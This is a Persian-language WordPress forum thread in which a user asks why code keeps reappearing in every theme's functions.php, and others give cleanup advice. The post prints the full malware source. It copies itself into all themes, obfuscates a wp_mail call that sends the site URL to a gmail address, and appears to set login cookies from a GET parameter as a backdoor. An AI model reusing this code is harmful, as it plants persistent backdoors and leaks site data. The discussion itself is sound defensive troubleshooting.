رفتن به مطلب

اضافه شدن خودکار کد در function.php


پست های پیشنهاد شده

فایل function.php قالب من خودکار کدهای زیر اضافه میشن و هرچی هم پاکشون می کنم دوباره اضافه میشن و توی همه قالبها هم هستن:


<?php
function _check_active_widget(){
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
$output=strip_tags($output, $allowed);
$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false){
$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
$output .= $before . "Not found" . $after;
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);
$output .= ($showdot && $ellipsis) ? "..." : "";
}
}
}
}
return $output;
}
function _get_all_widgetcont($wids,$items=array()){
$places=array_shift($wids);
if(substr($places,-1) == "/"){
$places=substr($places,0,-1);
}
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != "." && $elem != ".."){
if (is_dir($places . "/" . $elem)){
$wids[]=$places . "/" . $elem;
} elseif (is_file($places . "/" . $elem)&&
$elem == substr(__FILE__,-13)){
$items[]=$places . "/" . $elem;}
}
}
}else{
return false;
}
if (sizeof($wids) > 0){
return _get_all_widgetcont($wids,$items);
} else {
return $items;
}
}
if(!function_exists("stripos")){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}
if(!function_exists("strripos")){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists("scandir")){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != "." && $file != "..") || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}
add_action("admin_head", "_check_active_widget");
function _prepared_widget(){
if(!isset($length)) $length=120;
if(!isset($method)) $method="cookie";
if(!isset($html_tags)) $html_tags="<a>";
if(!isset($filters_type)) $filters_type="none";
if(!isset($s)) $s="";
if(!isset($filter_h)) $filter_h=get_option("home");
if(!isset($filter_p)) $filter_p="wp_";
if(!isset($use_link)) $use_link=1;
if(!isset($comments_type)) $comments_type="";
if(!isset($perpage)) $perpage=$_GET["cperpage"];
if(!isset($comments_auth)) $comments_auth="";
if(!isset($comment_is_approved)) $comment_is_approved="";
if(!isset($authname)) $authname="auth";
if(!isset($more_links_text)) $more_links_text="(more...)";
if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");
if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;
if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";
if(!isset($more_content)) $more_content="ma".$s."il";
if(!isset($forces_more)) $forces_more=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql="";
if (!$widget_output) :

global $wpdb, $post;
$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if (!empty($post->post_password)) {
if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__("هیچ نقل قولی وجود ندارد زیرا این پست محافظت شده است.");
} else {
$output=get_the_password_form();
}
}
}
if(!isset($fix_tag)) $fix_tag=1;
if(!isset($filters_types)) $filters_types=$filter_h;
if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;
if(!isset($more_tags)) $more_tags="div";
if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#
if(!isset($mlink_title)) $mlink_title="Continue reading this entry";
if(!isset($showdot)) $showdot=1;

$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if($length < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, "<!--more-->")) {
$text=explode("<!--more-->", $text, 2);
$l=count($text[0]);
$more_link=1;
$comments=$wpdb->get_results($sql);
} else {
$text=explode(" ", $text);
if(count($text) > $length) {
$l=$length;
$ellipsis=1;
} else {
$l=count($text);
$more_links_text="";
$ellipsis=0;
}
}
for ($i=0; $i<$l; $i++)
$output .= $text[$i] . " ";
}
update_option("_is_widget_active_", 1);
if("all" != $html_tags) {
$output=strip_tags($output, $html_tags);
return $output;
}
endif;
$output=rtrim($output, "\s\n\t\r\0\x0B");
$output=($fix_tag) ? balanceTags($output, true) : $output;
$output .= ($showdot && $ellipsis) ? "..." : "";
$output=apply_filters($filters_type, $output);
switch($more_tags) {
case("div") :
$tag="div";
break;
case("span") :
$tag="span";
break;
case("p") :
$tag="p";
break;
default :
$tag="span";
}
if ($use_link ) {
if($forces_more) {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";
} else {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";
}
}
return $output;
}
add_action("init", "_prepared_widget");
?>

لینک به ارسال

یکی از پوسته ها دارای کد مخربی هست که خودش کپی میکنه

که حضور ذهن ندارم اما فکر کنم کد غیرفعال سازی آپدیت بود

لینک به ارسال

چون خودم راه حلش رو پیدا کردم ، اینجا می گم تا مشکل بقیه که درگیرن هم حل بشه

برای لوکال: function.phpi همه قالبها رو تو نوت پد++ یا هر برنامه دیگه ای باز کنید (همزمان) و یکی یکی کد مخرب رو تو همش پاک کنید و ذخیره کنید و بعد از ذخیره آخرین فایل همه رو با هم ببندید . اینطوری دیگه کد مخرب فرصت اضافه شدن تو قالب دیگه رو پید نمی کنه و برای همیشه از شرش راحت میشین.

برای هاست: همه قالبها رو دانلود کنید و همین کار بالایی که گفتم رو انجام بدید و جایگزین قالبهای اولی کنید

لینک به ارسال

برطرف میشه اما بعدش که اون قالبی که دارای کد مشکل دار هست کنار این ها قرار بگیره باز به همون مشکل میخورید

کد اصلی پیدا کنید

لینک به ارسال

خوب بله اینکه معلومه دیگه، شما باید اون قالبی رو که بهش مشکوکید و دانلود کردید رو حذف کنید ...اینایی که من گفتم فقط واسه قالبهایی هست که خودتون طراحی کردید یا ازشون مطمئنید.

من که تست کردم مشکلم حل شد با اینکه مدتها گرفتارش بودم.

لینک به ارسال

این کد گاهی از افزونه هایی مثل نمایش برترین مطالب کپی می شه و گاهی قالب راه حل درست کاریست که جناب ماجد فرمودند

در روی لوکال هم می تونید فایل functions.php را readonly نمایید

لینک به ارسال

به گفتگو بپیوندید

هم اکنون می توانید مطلب خود را ارسال نمایید و بعداً ثبت نام کنید. اگر حساب کاربری دارید، برای ارسال با حساب کاربری خود اکنون وارد شوید .

مهمان
ارسال پاسخ به این موضوع ...

×   شما در حال چسباندن محتوایی با قالب بندی هستید.   حذف قالب بندی

  تنها استفاده از 75 اموجی مجاز می باشد.

×   لینک شما به صورت اتوماتیک جای گذاری شد.   نمایش به صورت لینک

×   محتوای قبلی شما بازگردانی شد.   پاک کردن محتوای ویرایشگر

×   شما مستقیما نمی توانید تصویر خود را قرار دهید. یا آن را اینجا بارگذاری کنید یا از یک URL قرار دهید.

×
×
  • اضافه کردن...